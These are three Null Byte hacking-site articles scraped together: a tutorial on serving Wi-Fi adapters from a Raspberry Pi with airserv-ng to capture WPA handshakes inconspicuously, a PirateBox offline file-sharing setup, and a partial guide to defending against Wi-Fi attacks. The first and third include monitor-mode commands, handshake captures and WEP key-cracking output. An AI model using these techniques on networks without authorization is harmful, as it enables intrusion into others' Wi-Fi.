Perpetual LicensePhoto bycortnimarazzoRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte Contributor (2/10/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Things to Do on WonderHowTo (02/22 - 02/28)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (01/25 - 01/31)How To:Things to Do on WonderHowTo (02/15 - 02/21)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)News:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?Farewell Byte:Goodbye Alex, Welcome AllenHow To:Things to Do on WonderHowTo (03/07 - 03/13)How To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorA Null Byte Call to Arms:Join the Fight Against IgnoranceNews:Null CommunityNews:2012 Film Festival Submission DeadlinesHow To:Things to Do on WonderHowTo (01/04 - 01/10)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Run a Virtual Computer Within Your Host OS with VirtualBoxHow To:Things to Do on WonderHowTo (03/14 - 03/20)
How to Share Wi-Fi Adapters Across a Network with Airserv-Ng Β« Null Byte :: WonderHowTo
If you want to carry a variety of network adapters without looking suspicious, a perfect solution is accessing them through Airserv-ng. Tucked away in the Aircrack-ng suite, this tool allows a hacker to plug any number of network adapters into a Raspberry Pi and access them over a Wi-Fi or Ethernet connection.Hacking Wi-Fi requires you to have a compatible wireless network adapter, which usually means plugging it directly into your computer. But, that may not always be appropriate or possible, as an external network adapter can draw attention to you or be difficult to connect to certain types of devices. Thanks to tools like the Raspberry Pi, it's easy to have a second computer out of sight and connected to a network adapter suitable for hacking.Don't Miss:How To Hack Wi-Fi β€” Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsRaspberry Pi's for Wi-Fi HackingA typical scenario might be a penetration tester who wants to be able to conduct offensive network operations like MITM attacks or handshake gathering, but doesn't want to be the only person in the office with a bulky external network adapter card visibly blinking away. Some attacks may even require multiple external wireless cards to be effective, which I've found can alone be enough to be reported to management at co-working spaces.Instead, plugging all of the required network cards into a Raspberry Pi and then accessing the Pi over Wi-Fi allows the penetration tester to keep the adapters out of sight while using less suspicious devices to access the Pi and issue commands. The only problem that remains is how to connect to the Pi, which is usually accomplished by an SSH connection.While SSH is encrypted, which is great if we're using a Wi-Fi network where someone might be intercepting traffic, it comes with some limitations. First, you're connecting to the Pi and running commands from the Pi remotely, which means that you have to use the tools on the Raspberry Pi. You also don't have direct access to the tools on your primary computer while doing so, because you're running command-line tools on the Pi through your computer. For things like Wi-Fi password cracking, the Pi doesn't have the speed to be very effective.Don't Miss:Automating Wi-Fi Hacking with Besside-ngWhile it's possible to use some tools on the Pi over SSH and then copy files back and forth to do things like password cracking that the Pi isn't good at, there is a cleaner solution. By creating an encrypted Wi-Fi network on the Pi and connecting to it from our primary computer, we can access all of the network adapters plugged into the Pi directly from our computer as though they were directly plugged in.Airserv Makes Wi-Fi Cards Network ResourcesAirserv-ng provides access to the Wi-Fi network adapters differently than SSH, allowing us to use more powerful tools on our primary computer. Instead of using the Pi to run the attacks, we use it to serve up the Wi-Fi network adapters, then use tools on our primary computer as though we had the Wi-Fi adapters directly plugged into it.In this setup, we create an encrypted network between the internal cards of our primary computer and the Raspberry Pi. Over this Wi-Fi network, the Raspberry Pi serves any network adapters we plug into it on the network at any port number we want. When set up correctly, we can then access a particular network adapter by typing the IP address, and then the port number on which airserv-ng is serving the adapter.Using Programs with Airserv-Ng InterfacesNormally, we'd start scanning the Wi-Fi traffic around us with a command likeairodump-ng wlan1mon. This command is running the programairodump-ngon the interfacewlan1mon, which is plugged into our computer. If, however, we were connected to the same Wi-Fi network as a Raspberry Pi running Airserv-ng on a Wi-Fi adapter, we could run a command that looks likeairodump-ng 192.168.0.16:666to do the same thing.So what is this doing? We're still running airodump-ng on an interface, but this time we're specifying the IP address of the Raspberry Pi on the network plus the default port number Airserv-ng is hosting the Wi-Fi adapter on. We can also run programs like besside-ng to grab handshakes this way, taking care not to attack the Wi-Fi link between the primary computer and the Pi.What You'll NeedTo use airserv-ng, we'll need to have the aircrack-ng suite installed on the computer on which we want to serve a network interface. In our example with a Raspberry Pi, we'll also need either to be running either Raspbian or Kali Linux on our Pi.Step 1: Install Aircrack-NgFirst, we'll need to install the aircrack-ng suite. This comes preinstalled on Kali Linux, but on Raspbian, it's easy to install. In a terminal window, type the following to install the aircrack-ng suite.sudo apt install aircrack-ngOnce this finishes downloading, you should have several useful programs, including airserv-ng.To check if you've correctly installed the program, runman airserv-ngto look at the manual entry for the program. You should see something like below.man airserv-ng NAME airserv-ng - a wireless card server SYNOPSIS airserv-ng <options> DESCRIPTION airserv-ng is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the com‐ plex wireless card and driver logic. It is also supports multiple operating systems. OPTIONS -h Shows the help screen. -p <port> TCP port to listen on (by default: 666). -d <iface> Wifi interface to use. -c <chan> Lock interface to this channel. -v <level> Debug level. There are 3 debug levels. Debug level of 1 shows client connection/disconnection (default). Debug level of 2 shows channel change requests and invalid client command requests in addition to the de‐ bug level 1 messages. Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include messages from level 2 (and 1).You can hitQto exit. Now that we have this installed, we're ready to try serving up a Wi-Fi card.Step 2: Prepare Your Wi-Fi AdaptersAfter plugging in a Wi-Fi network card you want to serve, we'll need to consider how we're going to be using it. If we need to put it into monitor mode, then we may want to do this first.Don't Miss:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackFirst, find the name of your card by runningifconfigoriwcondig. In Kali, it should look something likewlan1. Next, we'll put it into monitor mode by running the following command.sudo airmon-ng start [name of wifi card here]Keep in mind that if you select the Wi-Fi card you're currently using to accesst internet, the program will probably crash. If you only have one Wi-Fi card but you're using ethernet, you should be able to serve up your Wi-Fi card over your ethernet connection just fine.root@nickles:~# airmon-ng start wlan1 Found 4 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 541 NetworkManager 604 wpa_supplicant 5143 dhclient 5157 dhclient PHY Interface Driver Chipset phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) phy3 wlan1 rt2800usb Ralink Technology, Corp. RT5572 (mac80211 monitor mode vif enabled for [phy3]wlan1 on [phy3]wlan1mon) (mac80211 station mode vif disabled for [phy3]wlan1)When we run ifconfig again, we should see the network card is now namedwlan1mon. It's in monitor mode and ready to go.Step 3: Connect to the Same Network & Serve the CardNow, we can specify a port for each Wi-Fi adapter we want to serve. If we have a Raspberry Pi and a USB hub with multiple Wi-Fi adapters plugged in, you could assign a port number by the name of the network adapter, like port111forwlan1and port222forwlan2.Once you've decided how to keep track of which port leads to which adapter, we can serve it using the following command.root@nickles:~# airserv-ng -d wlan1mon -p 111 Opening card wlan1mon Setting chan 1 Opening sock port 666 Serving wlan1mon chan 1 on port 111In this command, the-dflag refers to which device we're serving, and the-pcommand refers to which port we're serving it on.Step 4: Access Your Wi-Fi Cards Over the NetworkNow, let's try to grab a handshake through the card we are serving. We can do this from any computer connected to the same local area network, or even from our own computer.First, check to see what our IP address is on the network. We can do this usingifconfig, and it should be something like 192.168.0.2.Now, we'll open Iairodump-ngand try listening for a handshake. Rather than use the command as through the card were directly connected, likeairodump-ng wlan1mon, we'll use it via the airserv-ng interface, using our IP address and the port number instead.root@nickles:~# airodump-ng 192.168.0.37:111 Connecting to 192.168.0.37 port 111... Connection successful Connecting to 192.168.0.37 port 111... Connection successful airodump-ng: osdep.c:46: wi_set_ht_channel: Assertion `wi->wi_set_ht_channel' failed. CH 0 ][ Elapsed: 36 s ][ 2019-04-14 10:36 ][ WPA handshake: 40:70:09:7A:64:90 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 40:70:09:7A:64:90 -39 323 1447 33 6 195 WPA2 CCMP PSK spot 2.4 ghz 8C:A2:FD:01:2B:28 -66 237 27 0 6 195 WPA2 CCMP PSK Donna :) 0E:A2:FD:01:2B:28 -65 114 0 0 6 195 WPA2 CCMP PSK Donna :)_Guest C0:C1:C0:B6:F3:71 -77 116 15 0 6 130 WPA2 CCMP PSK SilverHorse C0:C1:C0:B6:F3:72 -78 132 10 0 6 130 OPN SilverHorse-guest 8C:A2:FD:00:C5:8E -78 212 34 0 6 195 WPA2 CCMP PSK LavishBest 70:3A:CB:ED:A4:58 -76 5 11 0 6 130 WPA2 CCMP PSK jlc 60:19:71:F1:A3:20 -78 42 0 0 6 195 WPA2 CCMP PSK Red PolishJust like that, we're using the interface on our device from a computer across the network. If we were using a Raspberry Pi, we would bring all of our network cards up and then create a Wi-Fi access point from the internal card of the Pi to facilitate any Wi-Fi hacking needed, picking a different port number each time. If we serve cards wlan1 on port 111, we can access it from our IP number with a:111at the end.Airserv-Ng Makes Network Cards More FlexibleAirserv-ng is a handy tool to make multiple Wi-Fi network cards more accessible and more subtle to access, especially when used with a Raspberry Pi. In addition to allowing a single Raspberry Pi to serve many Wi-Fi adapters over its internal card, multiple people on one team can also share a single adapter as needed, without needing to attach the adapter to their computer physically. While this solution makes using Wi-Fi adapters as a network resource easier, it should be noted that this is not encrypted at all, so be careful when using this in an environment where someone else on the network might be listening in.I hope you enjoyed this guide to using Airserv-ng to make Wi-Fi hacking easier! If you have any questions about this tutorial on using Airserv-ng with the Raspberry Pi, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Spy on Network Relationships with Airgraph-NgHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Pick an Antenna for Wi-Fi HackingHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Use MDK3 for Advanced Wi-Fi JammingVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Extend a (Hacked)Router's Range with a Wireless Adapter.How To:Track Wi-Fi Devices & Connect to Them Using ProbequestHow to Hack Wi-Fi:DoSing a Wireless AP ContinuouslyHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address SpoofingHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Intercept Images from a Security Camera Using WiresharkHow To:Recover Forgotten Wi-Fi Passwords in WindowsHow To:Crack Wi-Fi Passwordsβ€”For Beginners!How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow to Hack Wi-Fi:Performing a Denial of Service (DoS) Attack on a Wireless Access PointHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHacking Android:How to Create a Lab for Android Penetration Testing
How to Use a Raspberry Pi as a Dead Drop for Anonymous Offline Communication Β« Null Byte :: WonderHowTo
APirateBoxcreates a network that allows users to communicate wirelessly, connecting smartphones and laptops even when surrounding infrastructure has been disabled on purpose or destroyed in a disaster. Using aRaspberry Pi, we will make a wireless offline server that hosts files and a chat room as an educational database, a discreet local chat room, or a dead-drop file server.The Need for Offline File SharingIf you can't think of a use for an offline file server with a built-in wireless hotspot, the list is nearly endless. Imagine you're a Red Cross volunteer in Florida after Hurricane Irma, and the power goes out. You're volunteering in a center to help storm victims find their lost pets, but with no cellular data, Wi-Fi, or Ethernet, cell phones and laptops aren't able to send photos of missing animals and everything must be done by paper.With a PirateBox and a big battery, you're able to host a server that anyone can post their missing pet photos and information to, as well as a live chat with updating information about found pets. Rather than waiting in line and having to check back for updates, everyone is connected with the data they need, and communication and updates are managed without waste.Discussion board, '90s flashback! Posting topics and communicating with those around you is as simple as connecting and signing up.A spy working in a country under an oppressive dictatorship obtains a document which reveals several of her fellow spies are due to be arrested. Worse, her name is on the list, so she must assume all of her communications are under surveillance. While walking through a park, she briefly connects to a wireless network that mimics the details of a nearby Wi-Fi hotspot, appearing only a few times per day to minimize the risk of detection.She drops the document file with a warning into the PirateBox hosting the access point (AP), hidden in the wiring of a street lamp, for a fellow agent to exfiltrate and facilitate a rescue. The information is spread to fellow agents without touching the heavily monitored networks of the hostile host country, and the agent is rescued.During a protest, police shut down cellular data in an effort to disrupt the organization of protesters. Hoping to catch the protesters by surprise, the police start trying to surround part of the group, only to watch in frustration as the protesters organize to escape the trap by sharing videos of police movement and alerting each other in real-time via chat. A single protester with a PirateBox taped below his skateboard ties everyone together, allowing information to flow even in the absence of infrastructure.This guy taped his PirateBox on the bottom of a skateboard to make it truly mobile.Image viaPirateBoxThose are a few very specific examples of why someone might need to have a way to share and communicate offline. You can probably think of more examples, but the ability to create your own network and tie people and data together is very, very useful.The PirateBox SolutionEnter thePirateBox. To better explain what PirateBox is, I'll let themdo the talking:Inspired by pirate radio and the free culture movement, PirateBox is a self-contained mobile collaboration and file sharing device. PirateBox utilizes Free, Libre and Open Source Software (FLOSS) to create mobile wireless file sharing networks where users can anonymously share images, video, audio, documents, and other digital content.PirateBox is designed to be safe and secure. No logins are required and no user data is logged. The system is purposely not connected to the Internet in order to prevent tracking and preserve user privacy.Don't be afraid of the PirateBox just because it has the word pirate in it β€” there's nothing illegal going on here. We aren't stealing digital content or robbing ships on the high seas. In fact, what we are doing is quite noble when you think about it β€” it's an attempt to banish censorship and promote free speech by creating your own little network.Gaze upon the majestic PirateBox in its natural habitat.Image viaPirateBoxThere is an offshoot of PirateBox calledRACHEL Offline, created by Hackers for Charity, that even focuses specifically on education, providingbooks and other contentin places where it wouldn't normally be available.Now that we've explained a little about what the PirateBox is used for, let's see what this thing can actually do. If you're impatient, then you can look at thisdemo page. Otherwise, it should only take us 15–20 minutes to get it working on our Raspberry Pi with a custom image.Don't Miss:How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxWhat You'll Need to Get StartedRaspberry Pi:This guide uses the Pi 3, because of the built-in Wi-Fi. Another option is thePi Zero W. Any of the Pi versions will work, but you will need to buy a Wi-Fi dongle for them if they aren't Wi-Fi capable (seeour guide to Wi-Fi adapters).USB flash drive:This will be the hard drive for your PirateBox, so go as large as you think you need. Get a1 TB hard driveand you'll never worry about it again.MicroSD card:It's recommended to use one in the 16–32+ GB range as they will be most useful and the best value.MicroSD card reader:Pretty much anyone will work for our task today.Power supply:This is needed for the Raspberry Pi unit.Ethernet cable:To connect our Pi to our router.On Amazon:CanaKit Raspberry Pi 3 B+ Starter Kit (32 GB EVO+ Edition, Premium Black Case)Step 1: Download the Piratebox ImageFirst, we need to download the custom Raspberry Pi image, but to do this we need a BitTorrent client. If you already have one, then that's great, use it. Otherwise, we need to download one. This guide usesDelugewhich works for Windows, Mac, and Linux. Once you navigate to the website, download the latest version for the operating system you are using and follow the on-screen instructions to install it.Now that we have a working BitTorrent client, we need to download the proper image based on which Raspberry Pi we are using. Click on the link below for the image that matches your Pi.For Raspberry Pi Zero W:piratebox_rpi_1.1.3-1-19-03-2017.img.zipFor Raspberry Pi 3:piratebox_rpi2_1.1.3-1-19-03-2017.img.zipClick on the torrent file once it downloads, and it should open Deluge with the PirateBox file selected. To begin, click add. If you've done everything correctly, then it should start downloading as seen below. It's good practice to seed the file for awhile after you download it.As an alternative, if you can't get the torrent working, then Christian Sievershas a download on Twitterfor the Pi 3 image.Step 2: Flash the Image to the MicroSD CardNow, we need to write the image to our microSD card. Best practice is to unplug any external hard drives or other USB devices you have, and then insert your microSD into its adapter and plug it in. This is important because you don't want to accidentally flash the wrong device.If you already have a program to flash the image to the card, then you can use that. Otherwise, downloadEtcher, as it's the easiest to use. It works on Windows, Mac, and Linux while also having the simplest user interface. Etcher should detect what operating system you are using, but if not, make sure you download the correct version based on your operating system (OS) and follow the on-screen installation directions. Open Etcher (if it doesn't automatically after installation), and select the image you just downloaded.Next, be sure the proper drive is selected and flash the image. Once it's done, it will safely eject the SD card. There is a rare chance that Etcher will cause an error. If that does happen, useApplePiBaker for MacorWin32 Disk Imager for Windows.Step 3: Start Your PiFirst, insert the SD card into the slot at the bottom of your Raspberry Pi and plug the Pi into both Ethernet and power. The other end of the Ethernet cable goes into your router (which is wired or wirelessly connected to your computer). Now, we need a program to open a Secure Shell (SSH) into our Pi. This guide uses PuTTY (download). Alternatively, if you are a Chrome user, you can add thesecure shell extension, but you can SSH however you like.In Windows, open PuTTY and select SSH Port 22, and providealarm@(replace with Pi's IP address)in the host name field. The IP address can be found a number of ways, including opening your router's admin page and looking at connected devices or using a program likeNmaporFing.Using username "alarm". alarm@192.168.1.8's password: ____________________.__ __ __________ \______ \______ \__|___________ _/ |_ ____\______ \ _______ ___ | _/| ___/ \_ __ \__ \\ __\/ __ \| | _// _ \ \/ / | | \| | | || | \// __ \| | \ ___/| | ( < > > < |____|_ /|____| |__||__| (____ /__| \___ >______ /\____/__/\_ \ \/ \/ \/ \/ \/ Website: http://piratebox.cc PirateBox Version: 1.1.3 Forum: http://forum/piratebox.cc RPi Image Version: 1.1.3-1 IRC: #piratebox irc.freenode.net Be open -- Share freely! First Steps After Flashing 1. Change password of alarm user > passwd 2. Enable Fake-Timeservice 2.1 Set date and time # Disable network time sync > sudo timedatectl set-ntp false # Set time to "Mon May 23 17:42:00" (Format: CCYYMMDD hhmm) > sudo date -s "20170523 1742" > cd /opt/piratebox && sudo ./bin/timesave.sh ./conf/piratebox.conf install 2.2 Enable on startup .........On a Mac, you can simply open a terminal window and type the following.ssh alarm@(replace with Pi's IP address)Once you have a successful SSH connection, you will be prompted for a login and password. The password isalarm. Best practice would be to immediately run thepasswdcommand to change the password.Now our PirateBox access point is available!Once you connect to the PirateBox AP, open your browser and try to go to any page. It should throw you back to the PirateBox landing page. After you connect wirelessly, you can disconnect the Pi from the Ethernet connection, unless you need to update it. The Pi is now a functional PirateBox!As you can see below, it claims the disk space is pretty full. This is because it is using the root folder and not putting anything in our USB. Let's change that.Step 4: Configure the PirateBoxNow that we have the PirateBox up and running, we need to customize it. We can start by solving our storage issues. To do this, we need to tell the Pi to use the USB with the following command.sudo /opt/piratebox/rpi/bin/usb_share.sh We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for alarm: ## Adding USB share... ## Moving files... OK. File last modified 1010 minutes ago. Updating now... <html><body>ok</body></html>It will prompt you for a password, which you will have changed earlier because you're a good little hacker. Use that new password (or alarm if you didn't change it) from now on when it asks you for a password. Then, we are ready to get our very own discussion board working by running the command below.sudo /opt/piratebox/bin/board-autoconf.sh [sudo] password for alarm: Imageboard admin password:Next, switch on the timesave functionality with this:sudo /opt/piratebox/bin/timesave.sh /opt/piratebox/conf/piratebox.conf install [sudo] password for alarm: initialize timesave file Remember MAY have to cron active... on OpenWrt run: /etc/init.d/piratebox enableAnd then this:sudo systemctl enable timesave Created symlink /etc/systemd/system/multi-user.target.wants/timesave.service -> /etc/systemd/system/timesave.service.Finally, we can activate the UPnP Media Server, and we're finished setting everything up.sudo cp /etc/minidlna.conf /etc/minidlna.conf.bkp sudo cp /opt/piratebox/src/linux.example.minidlna.conf /etc/minidlna.conf sudo systemctl start minidlna sudo systemctl enable minidlna Created symlink /etc/systemd/system/multi-user.target.wants/minidlna.service -> /usr/lib/systemd/system/minidlna.service.Step 5: Load Her Up & ConnectIt's up to you how you use your PirateBox. Take it to help organize a peaceful protest, help incarcerated youth get a better education, or use it around your Dungeons & Dragons table to share documents. Be creative! From now on, you can connect to its Wi-Fi network and SSH with:alarm@(replace with Pi's IP address)Just remember to safely shut down your PirateBox with:sudo shutdown -h nowAll other users need to do is open up their Wi-Fi settings on their device, connect to the PirateBox, and then open up a browser window which will automatically direct them to the PirateBox's homepage where they can use live chat, the forum, and file-sharing features.That's all for now. If you make a PirateBox or have any questions, please share and comment below.Don't Miss:How to Track ADS-B Equipped Aircraft on Your SmartphoneFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaPirateBox; Screenshots by Hoid/Null ByteRelatedHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Enable Offline Chat Communications Over Wi-Fi with an ESP32How To:Build a Portable Pen-Testing Pi BoxHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiOpen Sesame:Make Siri Open Your Garage Door via Raspberry PiHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallRaspberry Pi:Physical Backdoor Part 1How To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:Symantec Source Code Released by Anon After Failed Negotiations
The Beginner's Guide to Defending Against Wi-Fi Hacking Β« Null Byte :: WonderHowTo
Hacking Wi-Fiis a lot easier than most people think, but the ways of doing so are clustered around a few common techniques most hackers use. With a few simple actions, the average user can go a long way toward defending against the five most common methods of Wi-Fi hacking, which include password cracking, social engineering, WPS attacks, remote access, and rogue access points.Our video covers everything you need to know, but you can also read through the article below for more details on each method. And, of course, it's always here if you like following written guides more than video tutorials.Method 1: Password CrackingPassword cracking is a tried-and-true method of breaking into a Wi-Fi network that generally relies on the user picking a bad password. While there are many ways this attack can unfold, in general, there are two ways that a user can be fall victim to this attack.The first is by taking advantage of a target using an insecure type of encryption called WEP to lock their Wi-Fi rather than the more modern WPA that is standard for most networks. Using a WEP key allows even a sophisticated password to be broken in minutes, rendering it not very effective.There are many tools available to hack WEP networks, but simple command-line programs likeBesside-ngare able to locate and crack WEP networks usingKali-compatible wireless network adapters.More Info:Hunting Down & Cracking WEP-Protected Wi-Fi NetworksAircrack-ng 1.2 rc4 [00:00:02] Tested 14115 keys (got 20198 IVs) KB depth byte(vote) 0 0/ 1 61(30208) 68(26112) DC(26112) E3(24832) 5D(24576) 6E(24576) ED(24320) 08(24064) 43(24064) 1 1/ 16 4C(26368) BD(26112) 6F(25600) AE(25088) 00(25088) A5(24832) A6(24576) A4(24320) EF(24320) 2 0/ 36 46(25856) CE(25600) D1(25088) DE(24832) E1(24832) 89(24832) C7(24576) C8(24320) E3(24320) 3 1/ 4 79(26880) 10(25088) 25(25008) 51(24832) 6F(24832) D2(24832) 45(24576) 6C(24576) 70(24576) 4 1/ 8 4F(27648) 64(26368) E4(25600) 5D(25600) 97(25344) FD(25088) 05(25088) AC(24576) 59(24320) KEY FOUND! [ 61:4C:46:32:4F ] (ASCII: aLF20 ) Decrypted correctly: 100% root@skickar:~# _The second kind of password cracking attacks the more secure WPA method of encryption and involves brute-forcing the password. By kicking devices off the target network for a few seconds, a hacker can force devices to connect back to the network and exchange a sequence of packets called a four-way handshake.This handshake is enough for a hacker to go home and try guessing a huge list of passwords against the captured handshake. Using their computer's processing power, a hacker can try millions of passwords very quickly, allowing them to break bad passwords in minutes or hours. The tools for WPA cracking are increasingly sophisticated and includeAirgeddon, Besside-ng, andAircrack-ng. These tools can be used to capture and crack network passwords from the intercepted handshake.For the end user, this means that you must assume that anyone could grab a four-way handshake from your network. If your password is weak or you use it in other places, that could be serious cause for concern depending on how much time an attacker has to spend brute-forcing it.More Info:How to Automate Wi-Fi Hacking with Besside-ngSolution: Better PasswordsHackers rely on a few common habits to be effective with password cracking.Using stolen passwordswhich have been harvested from real user accounts is a common tactic that preys on the tendency for users to reuse their favorite passwords, increasing the chance that the passwords will be lost by some service you've signed up for. Don't reuse passwords as a rule, because that forces you to trust every service you sign up for to never lose your password.Using password managers likeLastPassandKeePassXcan make it easier to useunique passwords, but you should avoid passwords like phone numbers, addresses, or anything especially obvious. Instead, choose longer passwords that are unique and don't rely on any information or interests you've made public.Instructions:How to Create Stronger Passwords (Advice from a Real Hacker)You can also use tools to detect whether someone has joined your network that doesn't have permission to. By downloading the free, cross-platform Fing application to your smartphone, you can scan and take an inventory of any network you are connected to. If a device is connected that shouldn't be, you have the proof that an unauthorized user is connected and can take steps to kick them out by changing the password or resetting the router.More Info:Map Networks & Connect to Discovered Devices Using Your PhoneImage by SADMIN/Null ByteMethod 2: Social-Engineering AttacksSocial-engineeringattacks can look very different, and this is partially what makes them so hard to spot. Generally, a social-engineering attack will rely on tricking the user rather than using a technical exploit, so a victim may not realize anything has happened.More Info:How to Use Persuasion to Compromise a Human TargetThere are a lot of reasons why you shouldn't give someone your work or home Wi-Fi password, and very few reasons why you should if you don't trust them. It's important to remember a few facts about Wi-Fi:Wi-Fi allows direct communication with devices on your network, like webcams, desktop computers, and other devices that may be wired rather than wireless. Having the Wi-Fi password means you can attempt to log into or attack these devices.Having the Wi-Fi password can allow an attacker to change the information you or others on your network see when you visit webpages or use the internet.Once someone is into your network, they can access the router and build apersistent remote backdoor, preventing you from kicking them out even if you change the password.Passwords are easy to give out, but once someone has access, it's hard to dislodge them.Image by SADMIN/Null ByteKnowing this, a social engineer may attempt to approach someone who knows the Wi-Fi password to gain access. This may be as obvious as a stranger who has no reason for having the Wi-Fi other than simply asking for it or as elaborate as calling the target as the target internet service provider and asking an employee help them fix a problem with the internet.Solution: Always Be SuspiciousWhen recognizing a social-engineering attack, you can generally spot a few things that could tip you off that someone wants access to something they're not supposed to have. If someone presents a story where the solution is to hand over your Wi-Fi credentials, try to present an alternative solution, like "I can look that up for you," and see if they pivot to stay focused on the password.Many networks include the ability to create a guest network that does not allow for communication with other devices on 